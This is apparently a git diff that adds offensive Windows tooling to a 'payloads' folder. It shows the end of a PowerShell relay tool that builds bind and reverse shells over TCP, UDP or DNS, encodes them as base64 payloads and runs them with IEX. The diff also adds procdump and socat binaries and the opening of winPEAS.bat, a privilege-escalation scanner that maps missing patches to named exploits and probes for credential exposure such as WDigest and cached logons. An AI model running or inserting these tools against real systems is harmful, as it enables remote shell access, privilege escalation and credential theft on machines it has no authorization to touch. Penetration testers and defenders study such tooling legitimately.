if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
|
||||
if($Data.Length -eq 0){Start-Sleep -Milliseconds 100}
|
||||
if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)}
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
Write-Verbose "Closing Stream 1..."
|
||||
Stream1_Close $Stream1Vars
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to close Stream 1"
|
||||
}
|
||||
}
|
||||
}
|
||||
########## POWERSHELL FUNCTIONS ##########
|
||||
|
||||
########## CONSOLE FUNCTIONS ##########
|
||||
function Setup_Console
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
$FuncVars = @{}
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
$FuncVars["Output"] = $FuncSetupVars[0]
|
||||
$FuncVars["OutputBytes"] = [byte[]]@()
|
||||
$FuncVars["OutputString"] = ""
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_Console
|
||||
{
|
||||
param($FuncVars)
|
||||
$Data = $null
|
||||
if($Host.UI.RawUI.KeyAvailable)
|
||||
{
|
||||
$Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n")
|
||||
}
|
||||
return $Data,$FuncVars
|
||||
}
|
||||
function WriteData_Console
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
switch($FuncVars["Output"])
|
||||
{
|
||||
"Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)}
|
||||
"String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)}
|
||||
"Bytes" {$FuncVars["OutputBytes"] += $Data}
|
||||
}
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_Console
|
||||
{
|
||||
param($FuncVars)
|
||||
if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]}
|
||||
elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]}
|
||||
return
|
||||
}
|
||||
########## CONSOLE FUNCTIONS ##########
|
||||
|
||||
########## MAIN FUNCTION ##########
|
||||
function Main
|
||||
{
|
||||
param($Stream1SetupVars,$Stream2SetupVars)
|
||||
try
|
||||
{
|
||||
[byte[]]$InputToWrite = @()
|
||||
$Encoding = New-Object System.Text.AsciiEncoding
|
||||
if($i -ne $null)
|
||||
{
|
||||
Write-Verbose "Input from -i detected..."
|
||||
if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
|
||||
elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
|
||||
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
|
||||
else{Write-Host "Unrecognised input type." ; return}
|
||||
}
|
||||
|
||||
Write-Verbose "Setting up Stream 1..."
|
||||
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
|
||||
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
|
||||
|
||||
Write-Verbose "Setting up Stream 2..."
|
||||
try{$Stream2Vars = Stream2_Setup $Stream2SetupVars}
|
||||
catch{Write-Verbose "Stream 2 Setup Failure" ; return}
|
||||
|
||||
$Data = $null
|
||||
|
||||
if($InputToWrite -ne @())
|
||||
{
|
||||
Write-Verbose "Writing input to Stream 1..."
|
||||
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
|
||||
catch{Write-Host "Failed to write input to Stream 1" ; return}
|
||||
}
|
||||
|
||||
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
|
||||
|
||||
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
|
||||
while($True)
|
||||
{
|
||||
try
|
||||
{
|
||||
$Data,$Stream2Vars = Stream2_ReadData $Stream2Vars
|
||||
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
|
||||
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
|
||||
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
|
||||
if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars}
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
#Write-Verbose "Closing Stream 2..."
|
||||
Stream2_Close $Stream2Vars
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to close Stream 2"
|
||||
}
|
||||
try
|
||||
{
|
||||
#Write-Verbose "Closing Stream 1..."
|
||||
Stream1_Close $Stream1Vars
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to close Stream 1"
|
||||
}
|
||||
}
|
||||
}
|
||||
########## MAIN FUNCTION ##########
|
||||
|
||||
########## GENERATE PAYLOAD ##########
|
||||
if($u)
|
||||
{
|
||||
Write-Verbose "Set Stream 1: UDP"
|
||||
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
|
||||
if($l){$InvokeString = "Main @('',`$True,'$p','$t') "}
|
||||
else{$InvokeString = "Main @('$c',`$False,'$p','$t') "}
|
||||
}
|
||||
elseif($dns -ne "")
|
||||
{
|
||||
Write-Verbose "Set Stream 1: DNS"
|
||||
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
|
||||
if($l){return "This feature is not available."}
|
||||
else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Set Stream 1: TCP"
|
||||
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
|
||||
if($l){$InvokeString = "Main @('',`$True,$p,$t) "}
|
||||
else{$InvokeString = "Main @('$c',`$False,$p,$t) "}
|
||||
}
|
||||
|
||||
if($e -ne "")
|
||||
{
|
||||
Write-Verbose "Set Stream 2: Process"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n")
|
||||
$InvokeString += "@('$e')`n`n"
|
||||
}
|
||||
elseif($ep)
|
||||
{
|
||||
Write-Verbose "Set Stream 2: Powershell"
|
||||
$InvokeString += "`n`n"
|
||||
}
|
||||
elseif($r -ne "")
|
||||
{
|
||||
if($r.split(":")[0].ToLower() -eq "udp")
|
||||
{
|
||||
Write-Verbose "Set Stream 2: UDP"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
|
||||
if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
|
||||
elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
|
||||
else{return "Bad relay format."}
|
||||
}
|
||||
if($r.split(":")[0].ToLower() -eq "dns")
|
||||
{
|
||||
Write-Verbose "Set Stream 2: DNS"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
|
||||
if($r.split(":").Count -eq 2){return "This feature is not available."}
|
||||
elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")}
|
||||
else{return "Bad relay format."}
|
||||
}
|
||||
elseif($r.split(":")[0].ToLower() -eq "tcp")
|
||||
{
|
||||
Write-Verbose "Set Stream 2: TCP"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
|
||||
if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
|
||||
elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
|
||||
else{return "Bad relay format."}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Set Stream 2: Console"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n")
|
||||
$InvokeString += ("@('" + $o + "')")
|
||||
}
|
||||
|
||||
if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")}
|
||||
else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")}
|
||||
$InvokeString = ($FunctionString + $InvokeString)
|
||||
########## GENERATE PAYLOAD ##########
|
||||
|
||||
########## RETURN GENERATED PAYLOADS ##########
|
||||
if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))}
|
||||
elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString}
|
||||
########## RETURN GENERATED PAYLOADS ##########
|
||||
|
||||
########## EXECUTION ##########
|
||||
$Output = $null
|
||||
try
|
||||
{
|
||||
if($rep)
|
||||
{
|
||||
while($True)
|
||||
{
|
||||
$Output += IEX $InvokeString
|
||||
Start-Sleep -s 2
|
||||
Write-Verbose "Repetition Enabled: Restarting..."
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$Output += IEX $InvokeString
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
if($Output -ne $null)
|
||||
{
|
||||
if($of -eq ""){$Output}
|
||||
else{[io.file]::WriteAllBytes($of,$Output)}
|
||||
}
|
||||
}
|
||||
########## EXECUTION ##########
|
||||
}
|
||||
BIN
payloads/windows/procdump64.exe
Normal file
BIN
payloads/windows/procdump64.exe
Normal file
Binary file not shown.
BIN
payloads/windows/socat.exe
Normal file
BIN
payloads/windows/socat.exe
Normal file
Binary file not shown.
BIN
payloads/windows/socat64.exe
Normal file
BIN
payloads/windows/socat64.exe
Normal file
Binary file not shown.
726
payloads/windows/winPEAS.bat
Normal file
726
payloads/windows/winPEAS.bat
Normal file
@@ -0,0 +1,726 @@
|
||||
@ECHO OFF & SETLOCAL EnableDelayedExpansion
|
||||
TITLE WinPEAS - Windows local Privilege Escalation Awesome Script
|
||||
COLOR 0F
|
||||
CALL :SetOnce
|
||||
|
||||
REM :: WinPEAS - Windows local Privilege Escalation Awesome Script
|
||||
REM :: Code by carlospolop; Re-Write by ThisLimn0
|
||||
|
||||
REM Registry scan of other drives besides
|
||||
REM /////true or false
|
||||
SET long=false
|
||||
|
||||
REM Check if the current path contains spaces
|
||||
SET "CurrentFolder=%~dp0"
|
||||
IF "!CurrentFolder!" NEQ "!CurrentFolder: =!" (
|
||||
ECHO winPEAS.bat cannot run if the current path contains spaces.
|
||||
ECHO Exiting.
|
||||
EXIT /B 1
|
||||
)
|
||||
|
||||
:Splash
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%32m((,.,/((((((((((((((((((((/, */%E%97m"
|
||||
CALL :ColorLine " %E%32m,/*,..*(((((((((((((((((((((((((((((((((,%E%97m"
|
||||
CALL :ColorLine " %E%32m,*/((((((((((((((((((/, %E%92m.*//((//**,%E%32m .*((((((*%E%97m"
|
||||
CALL :ColorLine " %E%32m((((((((((((((((* %E%94m*****%E%32m,,,/########## %E%32m.(* ,((((((%E%97m"
|
||||
CALL :ColorLine " %E%32m(((((((((((/* %E%94m******************%E%32m/####### %E%32m.(. ((((((%E%97m"
|
||||
CALL :ColorLine " %E%32m((((((.%E%92m.%E%94m******************%E%97m/@@@@@/%E%94m***%E%92m/######%E%32m /((((((%E%97m"
|
||||
CALL :ColorLine " %E%32m,,.%E%92m.%E%94m**********************%E%97m@@@@@@@@@@(%E%94m***%E%92m,####%E%32m ../(((((%E%97m"
|
||||
CALL :ColorLine " %E%32m, ,%E%92m%E%94m**********************%E%97m#@@@@@#@@@@%E%94m*********%E%92m##%E%32m((/ /((((%E%97m"
|
||||
CALL :ColorLine " %E%32m..((%E%92m(##########%E%94m*********%E%97m/#@@@@@@@@@/%E%94m*************%E%32m,,..((((%E%97m"
|
||||
CALL :ColorLine " %E%32m.((%E%92m(################(/%E%94m******%E%97m/@@@@@#%E%94m****************%E%32m.. /((%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(########################(/%E%94m************************%E%32m..*(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(#############################(/%E%94m********************%E%32m.,(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(##################################(/%E%94m***************%E%32m..(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(######################################(%E%94m************%E%32m..(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(######(,.***.,(###################(..***(/%E%94m*********%E%32m..(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(######*(#####((##################((######/(%E%94m********%E%32m..(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(##################(/**********(################(%E%94m**%E%32m...(%E%97m"
|
||||
CALL :ColorLine " %E%32m.((%E%92m(####################/*******(###################%E%32m.((((%E%97m"
|
||||
CALL :ColorLine " %E%32m.((((%E%92m(############################################/%E%32m /((%E%97m"
|
||||
CALL :ColorLine " %E%32m..((((%E%92m(#########################################(%E%32m..(((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m....((((%E%92m(#####################################(%E%32m .((((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m......((((%E%92m(#################################(%E%32m .(((((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m(((((((((. ,%E%92m(############################(%E%32m../(((((((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m(((((((((/, %E%92m,####################(%E%32m/..((((((((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m(((((((((/,. %E%92m,*//////*,.%E%32m ./(((((((((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m(((((((((((((((((((((((((((/%E%97m"
|
||||
ECHO. by carlospolop
|
||||
ECHO.
|
||||
ECHO.
|
||||
|
||||
:Advisory
|
||||
REM // Increase progress in title by n percent
|
||||
CALL :T_Progress 0
|
||||
ECHO./^^!\ Advisory: WinPEAS - Windows local Privilege Escalation Awesome Script
|
||||
CALL :ColorLine " %E%41mWinPEAS should be used for authorized penetration testing and/or educational purposes only.%E%40;97m"
|
||||
CALL :ColorLine " %E%41mAny misuse of this software will not be the responsibility of the author or of any other collaborator.%E%40;97m"
|
||||
CALL :ColorLine " %E%41mUse it at your own networks and/or with the network owner's permission.%E%40;97m"
|
||||
ECHO.
|
||||
ECHO. [i] Best Linux PE and hardening course: https://hacktricks-training.com/courses/lhe/
|
||||
ECHO.
|
||||
|
||||
:SystemInfo
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO"
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
|
||||
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#version-exploits
|
||||
systeminfo
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:ListHotFixes
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
wmic qfe get Caption,Description,HotFixID,InstalledOn
|
||||
) else (
|
||||
powershell -command "Get-HotFix | Format-Table -AutoSize"
|
||||
)
|
||||
set expl=no
|
||||
for /f "tokens=3-9" %%a in ('systeminfo') do (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i "2000 XP 2003 2008 vista" && set expl=yes) & (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i /C:"windows 7" && set expl=yes)
|
||||
IF "%expl%" == "yes" ECHO. [i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2592799" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-080 patch is NOT installed! (Vulns: XP/SP3,2K3/SP3-afd.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3143141" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-032 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2393802" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-011 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB982799" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-59 patch is NOT installed! (Vulns: 2K8,Vista,7/SP0-Chimichurri)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB979683" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-21 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2305420" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-092 patch is NOT installed! (Vulns: 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB981957" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-073 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB4013081" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS17-017 patch is NOT installed! (Vulns: 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB977165" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-015 patch is NOT installed! (Vulns: 2K,XP,2K3,2K8,Vista,7-User Mode to Ring)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB941693" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS08-025 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB920958" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-049 patch is NOT installed! (Vulns: 2K/SP4-ZwQuerySysInfo)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB914389" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-030 patch is NOT installed! (Vulns: 2K,XP/SP2-Mrxsmb.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB908523" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-055 patch is NOT installed! (Vulns: 2K/SP4-APC Data-Free)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB890859" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-018 patch is NOT installed! (Vulns: 2K/SP3/4,XP/SP1/2-CSRSS)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB842526" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-019 patch is NOT installed! (Vulns: 2K/SP2/3/4-Utility Manager)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB835732" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-011 patch is NOT installed! (Vulns: 2K/SP2/3/4,XP/SP0/1-LSASS service BoF)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB841872" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-020 patch is NOT installed! (Vulns: 2K/SP4-POSIX)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2975684" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-040 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3136041" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-016 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3057191" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS15-051 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2989935" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-070 patch is NOT installed! (Vulns: 2K3/SP2-TCP/IP)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2778930" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-005 patch is NOT installed! (Vulns: Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2850851" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-053 patch is NOT installed! (Vulns: 7SP0/SP1_x86-schlamperei)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2870008" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-081 patch is NOT installed! (Vulns: 7SP0/SP1_x86-track_popup_menu)
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:DateAndTime
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DATE and TIME"
|
||||
ECHO. [i] You may need to adjust your local date/time to exploit some vulnerability
|
||||
date /T
|
||||
time /T
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:AuditSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Audit Settings"
|
||||
ECHO. [i] Check what is being logged
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WEFSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WEF Settings"
|
||||
ECHO. [i] Check where are being sent the logs
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:LAPSInstallCheck
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Legacy Microsoft LAPS installed?"
|
||||
ECHO. [i] Check what is being logged
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WindowsLAPSInstallCheck
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Windows LAPS installed?"
|
||||
ECHO. [i] Check what is being logged: 0x00 Disabled, 0x01 Backup to Entra, 0x02 Backup to Active Directory
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Policies\LAPS" /v BackupDirectory 2>nul
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\LAPS" /v BackupDirectory 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:LSAProtectionCheck
|
||||
CALL :ColorLine " %E%33m[+]%E%97m LSA protection?"
|
||||
ECHO. [i] Active if "1"
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v RunAsPPL 2>nul
|
||||
CALL :T_Progress 1
|
||||
|
||||
:LSACredentialGuard
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Credential Guard?"
|
||||
ECHO. [i] Active if "1" or "2"
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:LogonCredentialsPlainInMemory
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WDigest?"
|
||||
ECHO. [i] Plain-text creds in memory if "1"
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:CachedCreds
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Number of cached creds"
|
||||
ECHO. [i] You need System-rights to extract them
|
||||
